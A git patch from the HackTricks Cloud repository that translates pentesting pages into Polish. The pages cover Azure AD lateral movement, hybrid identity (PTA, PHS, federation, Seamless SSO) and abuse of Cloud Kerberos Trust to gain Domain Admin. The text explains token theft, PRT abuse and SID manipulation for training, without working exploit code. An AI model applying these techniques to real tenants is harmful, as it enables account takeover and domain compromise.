From 4381c5e05410b69e6bd421104cad2a08a6e6dd55 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 31 Dec 2024 19:06:36 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az --- .github/pull_request_template.md | 13 +- .../README.md | 52 +- .../README.md | 28 +- .../az-cloud-kerberos-trust.md | 48 +- .../az-default-applications.md | 8 +- .../az-synchronising-new-users.md | 28 +- .../federation.md | 112 ++- .../phs-password-hash-sync.md | 66 +- .../pta-pass-through-authentication.md | 56 +- .../seamless-sso.md | 92 ++- .../pass-the-prt.md | 138 ++-- .../azure-security/az-persistence/README.md | 40 +- .../az-persistence/az-queue-persistance.md | 14 +- .../az-persistence/az-storage-persistence.md | 32 +- .../az-persistence/az-vms-persistence.md | 22 +- .../az-post-exploitation/README.md | 5 - .../az-blob-storage-post-exploitation.md | 32 +- .../az-file-share-post-exploitation.md | 38 +- .../az-function-apps-post-exploitation.md | 12 +- .../az-key-vault-post-exploitation.md | 50 +- .../az-queue-post-exploitation.md | 50 +- .../az-servicebus-post-exploitation.md | 44 +- .../az-sql-post-exploitation.md | 80 +-- .../az-table-storage-post-exploitation.md | 54 +- .../az-vms-and-network-post-exploitation.md | 162 ++--- .../az-privilege-escalation/README.md | 7 +- .../az-app-services-privesc.md | 16 +- .../az-authorization-privesc.md | 60 +- .../az-entraid-privesc/README.md | 240 +++---- ...-conditional-access-policies-mfa-bypass.md | 114 ++- .../az-entraid-privesc/dynamic-groups.md | 38 +- .../az-functions-app-privesc.md | 326 ++++----- .../az-key-vault-privesc.md | 22 +- .../az-queue-privesc.md | 40 +- .../az-servicebus-privesc.md | 144 ++-- .../az-privilege-escalation/az-sql-privesc.md | 106 ++- .../az-storage-privesc.md | 112 ++- ...az-virtual-machines-and-network-privesc.md | 326 ++++----- .../azure-security/az-services/README.md | 52 +- .../azure-security/az-services/az-acr.md | 22 +- .../az-services/az-app-service.md | 70 +- .../az-services/az-application-proxy.md | 28 +- .../az-services/az-arm-templates.md | 20 +- .../az-automation-account/README.md | 112 ++- .../az-state-configuration-rce.md | 58 +- .../azure-security/az-services/az-azuread.md | 474 ++++++------- .../az-services/az-file-shares.md | 82 +-- .../az-services/az-function-apps.md | 246 ++++--- .../az-services/az-logic-apps.md | 36 +- ...roups-subscriptions-and-resource-groups.md | 30 +- .../az-services/az-queue-enum.md | 22 +- .../az-services/az-servicebus-enum.md | 82 +-- .../azure-security/az-services/az-sql.md | 160 ++--- .../azure-security/az-services/az-storage.md | 434 ++++++------ .../az-services/az-table-storage.md | 68 +- .../azure-security/az-services/intune.md | 34 +- .../azure-security/az-services/keyvault.md | 98 ++- .../azure-security/az-services/vms/README.md | 478 ++++++------- .../az-services/vms/az-azure-network.md | 212 +++--- .../README.md | 212 +++--- .../az-device-code-authentication-phishing.md | 8 +- .../az-oauth-apps-phishing.md | 124 ++-- .../az-password-spraying.md | 20 +- .../az-vms-unath.md | 22 +- .../digital-ocean-pentesting/README.md | 20 +- .../do-basic-information.md | 120 ++-- .../do-permissions-for-a-pentest.md | 8 +- .../do-services/README.md | 28 +- .../do-services/do-apps.md | 26 +- .../do-services/do-container-registry.md | 18 +- .../do-services/do-databases.md | 22 +- .../do-services/do-droplets.md | 46 +- .../do-services/do-functions.md | 40 +- .../do-services/do-images.md | 16 +- .../do-services/do-kubernetes-doks.md | 24 +- .../do-services/do-networking.md | 20 +- .../do-services/do-projects.md | 18 +- .../do-services/do-spaces.md | 24 +- .../do-services/do-volumes.md | 12 +- src/pentesting-cloud/gcp-security/README.md | 120 ++-- .../gcp-basic-information/README.md | 222 +++--- .../gcp-federation-abuse.md | 150 ++-- .../gcp-permissions-for-a-pentest.md | 170 ++--- .../gcp-security/gcp-persistence/README.md | 7 +- .../gcp-api-keys-persistence.md | 14 +- .../gcp-app-engine-persistence.md | 16 +- .../gcp-artifact-registry-persistence.md | 44 +- .../gcp-bigquery-persistence.md | 10 +- .../gcp-cloud-functions-persistence.md | 18 +- .../gcp-cloud-run-persistence.md | 12 +- .../gcp-cloud-shell-persistence.md | 52 +- .../gcp-cloud-sql-persistence.md | 24 +- .../gcp-compute-persistence.md | 14 +- .../gcp-dataflow-persistence.md | 46 +- .../gcp-filestore-persistence.md | 10 +- .../gcp-logging-persistence.md | 10 +- .../gcp-non-svc-persistance.md | 72 +- .../gcp-secret-manager-persistence.md | 20 +- .../gcp-storage-persistence.md | 16 +- .../gcp-post-exploitation/README.md | 5 - .../gcp-app-engine-post-exploitation.md | 28 +- ...gcp-artifact-registry-post-exploitation.md | 12 +- .../gcp-cloud-build-post-exploitation.md | 24 +- .../gcp-cloud-functions-post-exploitation.md | 146 ++-- .../gcp-cloud-run-post-exploitation.md | 16 +- .../gcp-cloud-shell-post-exploitation.md | 58 +- .../gcp-cloud-sql-post-exploitation.md | 56 +- .../gcp-compute-post-exploitation.md | 110 ++- .../gcp-filestore-post-exploitation.md | 92 ++- .../gcp-iam-post-exploitation.md | 22 +- .../gcp-kms-post-exploitation.md | 232 +++--- .../gcp-logging-post-exploitation.md | 46 +- .../gcp-monitoring-post-exploitation.md | 60 +- .../gcp-pub-sub-post-exploitation.md | 92 +-- .../gcp-secretmanager-post-exploitation.md | 10 +- .../gcp-security-post-exploitation.md | 30 +- .../gcp-storage-post-exploitation.md | 16 +- .../gcp-workflows-post-exploitation.md | 12 +- .../gcp-privilege-escalation/README.md | 66 +- .../gcp-apikeys-privesc.md | 54 +- .../gcp-appengine-privesc.md | 54 +- .../gcp-artifact-registry-privesc.md | 138 ++-- .../gcp-batch-privesc.md | 78 +- .../gcp-bigquery-privesc.md | 72 +- .../gcp-clientauthconfig-privesc.md | 10 +- .../gcp-cloudbuild-privesc.md | 48 +- .../gcp-cloudfunctions-privesc.md | 72 +- .../gcp-cloudidentity-privesc.md | 18 +- .../gcp-cloudscheduler-privesc.md | 76 +- .../gcp-composer-privesc.md | 82 +-- .../gcp-compute-privesc/README.md | 88 +-- .../gcp-add-custom-ssh-metadata.md | 98 ++- .../gcp-container-privesc.md | 80 +-- .../gcp-deploymentmaneger-privesc.md | 16 +- .../gcp-iam-privesc.md | 104 ++- .../gcp-kms-privesc.md | 74 +- ...local-privilege-escalation-ssh-pivoting.md | 64 +- .../gcp-misc-perms-privesc.md | 20 +- .../gcp-network-docker-escape.md | 38 +- .../gcp-orgpolicy-privesc.md | 12 +- .../gcp-pubsub-privesc.md | 18 +- .../gcp-resourcemanager-privesc.md | 10 +- .../gcp-run-privesc.md | 32 +- .../gcp-secretmanager-privesc.md | 20 +- .../gcp-serviceusage-privesc.md | 32 +- .../gcp-sourcerepos-privesc.md | 60 +- .../gcp-storage-privesc.md | 66 +- .../gcp-workflows-privesc.md | 112 ++- .../gcp-security/gcp-services/README.md | 7 +- .../gcp-services/gcp-ai-platform-enum.md | 10 +- .../gcp-services/gcp-api-keys-enum.md | 26 +- .../gcp-services/gcp-app-engine-enum.md | 66 +- .../gcp-artifact-registry-enum.md | 64 +- .../gcp-services/gcp-batch-enum.md | 18 +- .../gcp-services/gcp-bigquery-enum.md | 168 ++--- .../gcp-services/gcp-bigtable-enum.md | 8 +- .../gcp-services/gcp-cloud-build-enum.md | 150 ++-- .../gcp-services/gcp-cloud-functions-enum.md | 44 +- .../gcp-services/gcp-cloud-run-enum.md | 60 +- .../gcp-services/gcp-cloud-scheduler-enum.md | 36 +- .../gcp-services/gcp-cloud-shell-enum.md | 20 +- .../gcp-services/gcp-cloud-sql-enum.md | 68 +- .../gcp-services/gcp-composer-enum.md | 14 +- .../gcp-compute-instances-enum/README.md | 134 ++-- .../gcp-compute-instance.md | 72 +- .../gcp-vpc-and-networking.md | 78 +- .../gcp-containers-gke-and-composer-enum.md | 60 +- .../gcp-security/gcp-services/gcp-dns-enum.md | 8 +- .../gcp-services/gcp-filestore-enum.md | 54 +- .../gcp-services/gcp-firebase-enum.md | 66 +- .../gcp-services/gcp-firestore-enum.md | 8 +- .../gcp-iam-and-org-policies-enum.md | 110 ++- .../gcp-security/gcp-services/gcp-kms-enum.md | 72 +- .../gcp-services/gcp-logging-enum.md | 138 ++-- .../gcp-services/gcp-memorystore-enum.md | 8 +- .../gcp-services/gcp-monitoring-enum.md | 30 +- .../gcp-security/gcp-services/gcp-pub-sub.md | 48 +- .../gcp-services/gcp-secrets-manager-enum.md | 28 +- .../gcp-services/gcp-security-enum.md | 84 +-- .../gcp-source-repositories-enum.md | 50 +- .../gcp-services/gcp-spanner-enum.md | 8 +- .../gcp-services/gcp-stackdriver-enum.md | 14 +- .../gcp-services/gcp-storage-enum.md | 102 ++- .../gcp-services/gcp-workflows-enum.md | 22 +- .../gcp-to-workspace-pivoting/README.md | 136 ++-- ...cp-understanding-domain-wide-delegation.md | 32 +- .../README.md | 18 +- .../gcp-api-keys-unauthenticated-enum.md | 40 +- .../gcp-app-engine-unauthenticated-enum.md | 14 +- ...-artifact-registry-unauthenticated-enum.md | 14 +- .../gcp-cloud-build-unauthenticated-enum.md | 20 +- ...cp-cloud-functions-unauthenticated-enum.md | 68 +- .../gcp-cloud-run-unauthenticated-enum.md | 54 +- .../gcp-cloud-sql-unauthenticated-enum.md | 12 +- .../gcp-compute-unauthenticated-enum.md | 12 +- ...principals-and-org-unauthenticated-enum.md | 82 +-- ...ource-repositories-unauthenticated-enum.md | 18 +- .../README.md | 56 +- ...gcp-public-buckets-privilege-escalation.md | 26 +- .../ibm-cloud-pentesting/README.md | 26 +- .../ibm-basic-information.md | 70 +- .../ibm-hyper-protect-crypto-services.md | 32 +- .../ibm-hyper-protect-virtual-server.md | 42 +- .../kubernetes-security/README.md | 22 +- .../README.md | 648 ++++++++--------- .../kubernetes-roles-abuse-lab.md | 536 +++++++------- .../pod-escape-privileges.md | 64 +- .../attacking-kubernetes-from-inside-a-pod.md | 288 ++++---- .../exposing-services-in-kubernetes.md | 202 +++--- .../kubernetes-security/kubernetes-basics.md | 572 +++++++-------- .../kubernetes-enumeration.md | 328 ++++----- .../kubernetes-external-secrets-operator.md | 128 ++-- .../kubernetes-hardening/README.md | 178 +++-- .../kubernetes-securitycontext-s.md | 78 +- .../kubernetes-kyverno/README.md | 70 +- .../kubernetes-kyverno-bypass.md | 60 +- .../kubernetes-namespace-escalation.md | 22 +- .../kubernetes-network-attacks.md | 258 ++++--- .../kubernetes-opa-gatekeeper/README.md | 86 +-- .../kubernetes-opa-gatekeeper-bypass.md | 40 +- .../kubernetes-pivoting-to-clouds.md | 282 ++++---- ...bernetes-role-based-access-control-rbac.md | 142 ++-- ...bernetes-validatingwebhookconfiguration.md | 96 ++- .../pentesting-kubernetes-services/README.md | 130 ++-- ...ubelet-authentication-and-authorization.md | 150 ++-- .../openshift-pentesting/README.md | 10 +- .../openshift-basic-information.md | 28 +- .../openshift-jenkins/README.md | 38 +- .../openshift-jenkins-build-overrides.md | 451 ++++++------ .../openshift-privilege-escalation/README.md | 10 +- .../openshift-missing-service-account.md | 20 +- .../openshift-scc-bypass.md | 122 ++-- .../openshift-tekton.md | 66 +- .../openshift-pentesting/openshift-scc.md | 54 +- .../workspace-security/README.md | 48 +- .../gws-google-platforms-phishing/README.md | 120 ++-- .../gws-app-scripts.md | 230 +++--- .../workspace-security/gws-persistence.md | 190 +++-- .../gws-post-exploitation.md | 58 +- .../README.md | 34 +- .../gcds-google-cloud-directory-sync.md | 286 ++++---- ...-google-credential-provider-for-windows.md | 670 ++++++++---------- .../gps-google-password-sync.md | 188 +++-- .../gws-admin-directory-sync.md | 64 +- 244 files changed, 8625 insertions(+), 11466 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 5e04d31db..1ea39009e 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,16 +1,11 @@ You can remove this content before sending the PR: ## Attribution -We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone. +Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Proszę upewnić się, że przesyłasz tylko treści, które posiadasz lub na które masz pozwolenie od oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, lub w obu miejscach). Twój szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku dzielenia się dla wszystkich. ## HackTricks Training -If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-`. - -Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction. - - -In any case, thanks for contributing to HackTricks! - - +Jeśli dodajesz, aby zdać egzamin w [certyfikacji ARTE](https://training.hacktricks.xyz/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-`. +Pamiętaj również, że poprawki gramatyczne/składniowe nie będą akceptowane w celu zmniejszenia liczby flag egzaminacyjnych. +W każdym razie, dziękujemy za wkład w HackTricks! diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 855759013..20ccb1a7f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -4,66 +4,62 @@ {{#include ../../../banners/hacktricks-training.md}} -### On-Prem machines connected to cloud +### Maszyny On-Prem połączone z chmurą -There are different ways a machine can be connected to the cloud: +Istnieją różne sposoby, w jakie maszyna może być połączona z chmurą: -#### Azure AD joined +#### Dołączone do Azure AD
-#### Workplace joined +#### Dołączone do Workplace

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

-#### Hybrid joined +#### Dołączone w trybie hybrydowym

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### Workplace joined on AADJ or Hybrid +#### Dołączone do Workplace w AADJ lub Hybrydowym

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

-### Tokens and limitations +### Tokeny i ograniczenia -In Azure AD, there are different types of tokens with specific limitations: +W Azure AD istnieją różne typy tokenów z określonymi ograniczeniami: -- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource. -- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications. -- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device. -- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens. +- **Tokeny dostępu**: Używane do uzyskiwania dostępu do interfejsów API i zasobów, takich jak Microsoft Graph. Są powiązane z określonym klientem i zasobem. +- **Tokeny odświeżania**: Wydawane aplikacjom w celu uzyskania nowych tokenów dostępu. Mogą być używane tylko przez aplikację, do której zostały wydane, lub grupę aplikacji. +- **Główne tokeny odświeżania (PRT)**: Używane do jednolitych logowań na urządzeniach dołączonych do Azure AD, zarejestrowanych lub dołączonych w trybie hybrydowym. Mogą być używane w procesach logowania w przeglądarkach oraz do logowania się do aplikacji mobilnych i desktopowych na urządzeniu. +- **Klucze Windows Hello for Business (WHFB)**: Używane do uwierzytelniania bezhasłowego. Służą do uzyskiwania głównych tokenów odświeżania. -The most interesting type of token is the Primary Refresh Token (PRT). +Najciekawszym typem tokenu jest główny token odświeżania (PRT). {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Pivoting Techniques +### Techniki pivotowania -From the **compromised machine to the cloud**: +Z **skompromitowanej maszyny do chmury**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it -- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another +- [**Pass the Cookie**](az-pass-the-cookie.md): Kradnij ciasteczka Azure z przeglądarki i używaj ich do logowania +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Zrzucaj pamięć lokalnych procesów zsynchronizowanych z chmurą (jak excel, Teams...) i znajdź tokeny dostępu w postaci czystego tekstu. +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishinguj PRT, aby go nadużyć +- [**Pass the PRT**](pass-the-prt.md): Kradnij PRT urządzenia, aby uzyskać dostęp do Azure, podszywając się pod nie. +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generuj certyfikat na podstawie PRT, aby zalogować się z jednej maszyny na drugą -From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**: +Z kompromitacji **AD** do kompromitacji **Chmury** i z kompromitacji **Chmury** do kompromitacji **AD**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md) +- **Inny sposób na pivotowanie z chmury do On-Prem to** [**nadużywanie Intune**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +To narzędzie pozwala na wykonanie kilku działań, takich jak rejestracja maszyny w Azure AD w celu uzyskania PRT oraz używanie PRT (legalnych lub skradzionych) do uzyskiwania dostępu do zasobów na różne sposoby. Nie są to bezpośrednie ataki, ale ułatwia to użycie PRT do uzyskiwania dostępu do zasobów na różne sposoby. Więcej informacji znajdziesz na [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## References +## Referencje - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index ec734cb69..2546f3f10 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -2,63 +2,57 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments: +Integracja między **lokalnym Active Directory (AD)** a **Azure AD** jest ułatwiana przez **Azure AD Connect**, oferując różne metody wspierające **Single Sign-on (SSO)**. Każda metoda, choć użyteczna, przedstawia potencjalne luki w zabezpieczeniach, które mogą być wykorzystane do kompromitacji środowisk chmurowych lub lokalnych: - **Pass-Through Authentication (PTA)**: - - Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud). - - Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem). +- Możliwa kompromitacja agenta w lokalnym AD, umożliwiająca walidację haseł użytkowników dla połączeń Azure (z lokalnego do chmury). +- Możliwość zarejestrowania nowego agenta do walidacji uwierzytelnień w nowej lokalizacji (z chmury do lokalnego). {{#ref}} pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: - - Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user. +- Potencjalne wydobycie haseł w postaci czystego tekstu użytkowników z uprawnieniami z AD, w tym poświadczeń wysoko uprzywilejowanego, automatycznie generowanego użytkownika AzureAD. {{#ref}} phs-password-hash-sync.md {{#endref}} - **Federation**: - - Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities. +- Kradzież klucza prywatnego używanego do podpisywania SAML, umożliwiająca podszywanie się pod tożsamości lokalne i chmurowe. {{#ref}} federation.md {{#endref}} - **Seamless SSO:** - - Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user. +- Kradzież hasła użytkownika `AZUREADSSOACC`, używanego do podpisywania biletów Kerberos silver, umożliwiająca podszywanie się pod dowolnego użytkownika chmurowego. {{#ref}} seamless-sso.md {{#endref}} - **Cloud Kerberos Trust**: - - Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD. +- Możliwość eskalacji z Global Admin do lokalnego Domain Admin poprzez manipulację nazwami użytkowników AzureAD i SID-ami oraz żądanie TGT z AzureAD. {{#ref}} az-cloud-kerberos-trust.md {{#endref}} - **Default Applications**: - - Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files. +- Kompromitacja konta Administratora Aplikacji lub lokalnego Konta Synchronizacji pozwala na modyfikację ustawień katalogu, członkostwa w grupach, kont użytkowników, witryn SharePoint i plików OneDrive. {{#ref}} az-default-applications.md {{#endref}} -For each integration method, user synchronization is conducted, and an `MSOL_` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain. - -To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used: +Dla każdej metody integracji przeprowadzana jest synchronizacja użytkowników, a w lokalnym AD tworzony jest konto `MSOL_`. Należy zauważyć, że zarówno metody **PHS**, jak i **PTA** ułatwiają **Seamless SSO**, umożliwiając automatyczne logowanie dla komputerów Azure AD dołączonych do lokalnej domeny. +Aby zweryfikować instalację **Azure AD Connect**, można użyć następującego polecenia PowerShell, wykorzystując moduł **AzureADConnectHealthSync** (zainstalowany domyślnie z Azure AD Connect): ```powershell Get-ADSyncConnector ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 0b8debf3e..1a5ec8f29 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,52 +2,48 @@ {{#include ../../../../banners/hacktricks-training.md}} -**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Ten post jest podsumowaniem** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **który można sprawdzić w celu uzyskania dalszych informacji na temat ataku. Ta technika jest również omówiona w** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** -## Basic Information +## Podstawowe informacje -### Trust +### Zaufanie -When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates. +Gdy zaufanie jest ustanowione z Azure AD, **tworzony jest Read Only Domain Controller (RODC) w AD.** **Konto komputera RODC** nosi nazwę **`AzureADKerberos$`**. Ponadto, istnieje drugie konto `krbtgt` o nazwie **`krbtgt_AzureAD`**. To konto zawiera **klucze Kerberos** używane do biletów, które tworzy Azure AD. -Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators... +Dlatego, jeśli to konto zostanie skompromitowane, możliwe byłoby podszywanie się pod dowolnego użytkownika... chociaż to nie jest prawda, ponieważ to konto jest zapobiegane w tworzeniu biletów dla jakiejkolwiek wspólnej uprzywilejowanej grupy AD, takiej jak Domain Admins, Enterprise Admins, Administrators... > [!CAUTION] -> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.** +> Jednak w rzeczywistym scenariuszu będą uprzywilejowani użytkownicy, którzy nie są w tych grupach. Tak więc **nowe konto krbtgt, jeśli zostanie skompromitowane, mogłoby być użyte do podszywania się pod nich.** ### Kerberos TGT -Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\ -Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service. +Co więcej, gdy użytkownik uwierzytelnia się w systemie Windows, używając tożsamości hybrydowej, **Azure AD wyda częściowy bilet Kerberos wraz z PRT.** TGT jest częściowy, ponieważ **AzureAD ma ograniczone informacje** o użytkowniku w lokalnym AD (takie jak identyfikator zabezpieczeń (SID) i nazwa).\ +Windows może następnie **wymienić ten częściowy TGT na pełne TGT**, żądając biletu usługi dla usługi `krbtgt`. ### NTLM -As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**. +Ponieważ mogą istnieć usługi, które nie obsługują uwierzytelniania Kerberos, ale NTLM, możliwe jest zażądanie **częściowego TGT podpisanego za pomocą drugiego klucza `krbtgt`**, w tym pola **`KERB-KEY-LIST-REQ`** w części **PADATA** żądania, a następnie uzyskanie pełnego TGT podpisanego kluczem głównym `krbtgt` **w tym hasz NT w odpowiedzi**. -## Abusing Cloud Kerberos Trust to obtain Domain Admin +## Wykorzystywanie zaufania Cloud Kerberos do uzyskania uprawnień Domain Admin -When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**. +Gdy AzureAD generuje **częściowe TGT**, będzie używać szczegółów, które ma o użytkowniku. Dlatego, jeśli Global Admin mógłby zmodyfikować dane, takie jak **identyfikator zabezpieczeń i nazwa użytkownika w AzureAD**, żądając TGT dla tego użytkownika, **identyfikator zabezpieczeń byłby inny**. -It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID. +Nie jest możliwe zrobienie tego przez Microsoft Graph lub Azure AD Graph, ale możliwe jest użycie **API, które używa Active Directory Connect** do tworzenia i aktualizacji synchronizowanych użytkowników, co może być użyte przez Global Adminów do **zmiany nazwy SAM i SID dowolnego użytkownika hybrydowego**, a następnie, jeśli się uwierzytelniamy, otrzymujemy częściowe TGT zawierające zmodyfikowany SID. -Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. +Zauważ, że możemy to zrobić z AADInternals i zaktualizować synchronizowanych użytkowników za pomocą polecenia [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). -### Attack prerequisites +### Wymagania wstępne ataku -The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites: +Sukces ataku i uzyskanie uprawnień Domain Admin zależy od spełnienia pewnych wymagań wstępnych: -- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts. -- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication. -- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket. - - Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC. - - The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object. +- Możliwość zmiany kont za pomocą Synchronization API jest kluczowa. Można to osiągnąć, mając rolę Global Admin lub posiadając konto synchronizacji AD Connect. Alternatywnie, rola Administratora Tożsamości Hybrydowej byłaby wystarczająca, ponieważ daje możliwość zarządzania AD Connect i ustanawiania nowych kont synchronizacji. +- Obecność **konta hybrydowego** jest 